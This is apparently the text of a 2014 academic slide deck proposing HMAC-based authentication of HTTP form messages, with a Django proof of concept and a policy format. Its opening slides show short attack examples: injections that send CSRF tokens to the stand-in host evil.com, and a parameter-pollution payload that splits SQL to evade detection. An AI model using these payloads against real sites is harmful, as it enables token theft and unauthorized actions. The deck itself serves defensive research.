general method of http messages authentication based on hash functions in web applications

General Method of HTTP Messages

Authentication Based on Hash

Functions in Web Applications

Denis Kolegov Tomsk State University

Information Security and Cryptography Department

SEPTEMBER 8 - 13 EKATERINBURG

2014

Introduction

• HTTP doesn’t have built in message authentication mechanisms

• HTTP messages authentication for web forms

– Origin authenticity

– Parameter names and values integrity

– Workflow integrity

• OWASP Top 10 2013

– A4 Insecure Direct Object Reference

– A7 Missing Function Level Access Control

– A8 Cross-Site Request Forgery (CSRF)

• Advanced Features

– Attack surface reduction

– Protection against automated attacks

2

Example 1 – CSRF Attack

3

• Protection methods

– Synchronizer token pattern

– Double submit cookies

– Encrypted token pattern

– Header-based (Referer, X-Requested-With, custom headers)

– Origin header

• Attacks

– Token leakage

– Token prediction

– Token retrieving (e.g., BREACH attack)

– Cookie injection

Example 2 – CSRF Token Leakage

• <BASE> jumping attack

<base href="http://evil.com/"> ← Injection point

<form action="create_folder">

<input type="hidden" name="csrf_token" value="21312">…

</form>

• Malicious request

http://evil.com/create_folder?csrf_token=21312

• Stolen CSRF token can be used by an attacker in different context

http://example.com/admin/delete_account?csrf_token=21312

4

Example 3 – CSRF Token Leakage

• POST request based on location.hash value is used to download

content from example.com/#/mypage

example.com/#/evil.com ← Injection point

• Malicious request

POST http://evil.com/get_content

Host: evil.com

\r\n

csrf_token=21312

• Stolen CSRF token can be used by an attacker in different context

http://example.com/admin/delete_account.php?csrf_token=21312

5

Example 4 – CSRF Token Leakage

• Content from http://example.com includes the following form

<form action="$_SERVER['REFERER_URI']"> ← Injection point

<input type="hidden" name="csrf_token" value="21312">…

</form>

• http://site.com//evil.com/../search corresponds to the following form

<form action="//evil.com/../search">

<input type="hidden" name="csrf_token" value="21312">…

</form>

• Malicious request

http://evil.com/../search?csrf_token=21312

• Stolen CSRF token can be used by an attacker in different context

http://example.com/admin/delete_account.php?csrf_token=21312

6

Example 5 – Parameter Pollution

• Supplying multiple HTTP parameters with the same name may

cause an application to interpret values in unanticipated ways

/index.aspx?page=select 1,2,3 from table ← SQL-injection is detected

/index.aspx?page=select 1&page=2,3 from table

• Different web technologies manage multiple occurrences of the same

parameter in different ways

7

Example 6 – BREACH attack against

CSRF Token

• Attackers could figure out CSRF token even when the

communication was encrypted

• CSRF Tokens must be unique per request if HTTP Response

compression is used

• Facebook tokens

– CSRF_Token = SHA2(accound_id, current_date, random_salt)

• Links

– https://blog.whitehatsec.com/raising-the-csrf-bar/

– https://www.facebook.com/notes/protect-the-graph/preventing-a-breach-

attack/1455331811373632

8

Example 7 - Insecure Direct Object

Reference

9

Example 8 - Insecure Direct Object

Reference

10

Causes and Consequences

11

Vulnerability Attack

Weakness Threat

Insecurity

Risk Unsafety

Known Approaches

• CSRF-tokens

– Encryption-based

– HMAC-based

• Authenticated HTTP requests

– RFC 6749 «The OAuth 1.0 Protocol»

• «Signed requests» API (Yahoo, Amazon, Facebook, Twitter)

• WAF

– ModSecurity: HMAC Token Protection

– F5 Networks ASM: Dynamic Content Value

• Frameworks

– ASP.NET Event Validation, View State MAC

12

Limitations of Known Approaches

• As a rule, web applications are protected from attacks against

authenticity origin (e.g., CSRF attack)

• HTTP messages authentication mechanisms are implemented in

special protocols, API or WAFs

• Client-side generated data and input fields are out of scope

• Protocols should consider HTTP protocol features and influence of

session management and load balancing mechanisms

• Workflow protection is not implemented in known frameworks

13

Authenticator Base String

• Authenticator base string (ABS) is a normalized string, calculated

from object’s and subject’s attributes according to security policy

• The ABS includes the following elements of the HTTP request

– Parameter names and values

– User’s identifiers (session cookie mandatory should be there)

– Resource’s identifier (URI)

– HTTP request method

– HTTP custom headers

• Encoding and delimiters

– BASE64, HEX

– Special characters (# & ; =)

14

Web Form Parameters

• Controlled by name

– An attacker can’t change parameter names that were set by server in

HTTP response

• Controlled by value

– An attacker can’t change parameter values that were set by server in

HTTP response

• Validated

– Client-side generated data

– User’s input fields

15

Base Validation Protocol

• We want to validate user’s input using HMAC and authenticator string

• Protocol parameters

– A – alphabet of permitted input characters (e.g., 0,1,…,9)

– U – union operation

– w – user’s input

– S(w) – set of word w characters

– L(A) – string of ordered elements of set A

– k – secret key

• Protocol actions

– Client ← Server: response, containing web form with input field and

hidden field with mac = HMAC(k, L(A)) value

– Client → Server: request with mac and w parameters

– Server: if HMAC(k, L(A U S(w)) = mac then request is permitted

16

• ABS is constructed by concatenating the following HTTP request

elements according to security policy

auth =

ordered list of parameter names + ";" +

ordered list of pairs (parameter name = value or #) + ";" +

user’s identifier + ";" +

resource’s identifier + ";" +

HTTP method

String Construction

17

1. Create L = {p1, …, pm} ordered list of parameter name-value pairs of

object request

2. If parameters are controlled by name then

auth = name(p1)+ "&" + … + "&" + name(pm) + ";"

3. For each p from L

if p is controlled then auth = auth + name(p) + "=" + value(p) + "&“

if p is validated then auth = auth + name(p) + "=#&"

4. Add identification data of user and resource, and the HTTP method

auth = auth + "; " + IDs + ";" + IDr + ";" + op

Construction Method

18

Sessionless Protocol

• Parameters

– k – server’s master key

– kr – server’s one-time random key

– IDr – resource's identifier

– IDs – user’s identifier

– LP – security policy expressed in a specific language

– time – timestamp

– E – encryption function, h – hash function

• All servers share the same master key and there are no data in session

• Protocol actions

– Client → Server: initial request from user (IDs) to resource (IDr)

– Client ← Server: response , containing access attributes mac = h(kr, auth,

time) and Ek(LP , time, kr)

– Client → Server: final request with IDs’, IDr’, mac’, Ek(LP, time, kr) 19

Sessionful Protocol

• Parameters

– k – server’s key

– IDr – resource's identifier

– IDs – user’s identifier

– LP – security policy expressed in a specific language

– time – timestamp

– E – encryption function, h – hash function

• Session data

– k, time and LP are stored in user’s session

• Protocol actions

– Client → Server: initial request from user (IDs) to resource (IDr)

– Client ← Server: response, containing access attributes mac = h(k, auth,

time)

– Client → Server: final request with IDs’, IDr’, mac’ 20

ABAC

21

• ABAC can be configured to implement DAC, MAC, or

RBAC (Jin, Krishnan, Sandhu, 2012)

• Attribute is a property expressed as a name:value pair

associated with any entity in the system

• The proposed method of HTTP messages authentication

can be expressed in terms of ABAC model

• All this creates the prerequisites for unified access

control mechanism in web applications

ABAC properties

22

• Elements of model

– Operations – the HTTP methods (GET, POST, PUT, etc)

– Objects – URIs

– Object attributes – permitted parameters for access to object

– Subject – HTTP request to objects

– Subject attributes – HTTP request parameters and headers

• Access rule

– Subject can access object if and only if authenticator calculated

from object’s attributes is equal to authenticator calculated from

subject’s attributes

Formal Description in ABAC

23

The Control of Workflow Integrity

24

• We are currently researching if it possible to develop

workflow protection mechanisms in the context of

proposed method

• Proposed HTTP messages authentication method

makes some attacks against workflow impossible

• Another enhancement of the method is adding a current

state and sequence of permitted sates in the policy

stored on a client-side in the encrypted form

Proof of Concept

• Django Framework

• Web forms strict security

• Project

– https://github.com/tsu-iscd/django-HTTPauth

• Modes

– Sessionless

– Sessionful

25

Features

• Strict protection against CSRF attack

• CSRF-tokens protection

– time to live – protection against replay attacks

– randomization – protection against BREACH-like attacks

– context – protection against leakage

• Integrity control of parameter names and values

• Parameter values validation in a given alphabet

• Support configuration without persistent and sharing sessions

26

Policy Description

auth_policy = {

“object”: URI regular expression,

“subject”: session identifier name,

“name_protection”: True | False,

“replay_protection”: {

“enable”: True | False,

“interval”: value},

“parameter_protection”: {

parameter_name: {

“action”: “control” | “validate”

“value”: regular expression }, …, }

} 27

Policy Example

class ClientForm(forms.Form):

product = forms.CharField(initial='Test')

price = forms.IntegerField()

policy = {'object':'http://127.0.0.1:8000/add/',

'name_protection' : False,

'replay_protection': {

'enable':True,

'interval':'30' },

'parameter_protection': {

‘product': {

'action':'validate',

'value':'[A-Za-z]+'},

'price': {

'action':'control'}}}

28

Application Example

29

Conclusion

• HTTP messages authentication ABAC model is developed

• General HTTP authentication method allowing to control and

to validate client-side generated data is proposed

• Authentication protocol adapted to employment in web

applications is designed

– Proposed approach can be employ in configurations without

sharing or persistent sessions support

– Protocol data can be stored on server-side and client-side

• PoC have been implemented in Django framework

30

Bibliography

• Vladimir Kochetkov. How to Develop a Secure Web Application and

Stay in Mind? URL: http://www.slideshare.net/kochetkov.vladimir/how-

to-develop-a-secure-web-application-and-stay-in-mind-phdays-3

• Jim Monico, Eoin Keary. Form Processing and Workflows. URL:

http://secappdev.org/handouts/2014/Jim%20Manico/HTML%20Forms

%20and%20Workflows%20v3.pdf

• Sergey Bobrov. Web Application Attacks via Request-URI. URL:

http://xakep.ru/issue/xa-171/

• TrustWave’s SpiderLabs. HMAC Token Protection. URL:

http://blog.spiderlabs.com/2014/01/modsecurity-advanced-topic-of-

the-week-hmac-token-protection.html

31

32

Denis Kolegov

E-mail: dnkolegov@gmail.com

Twitter: @dnkolegov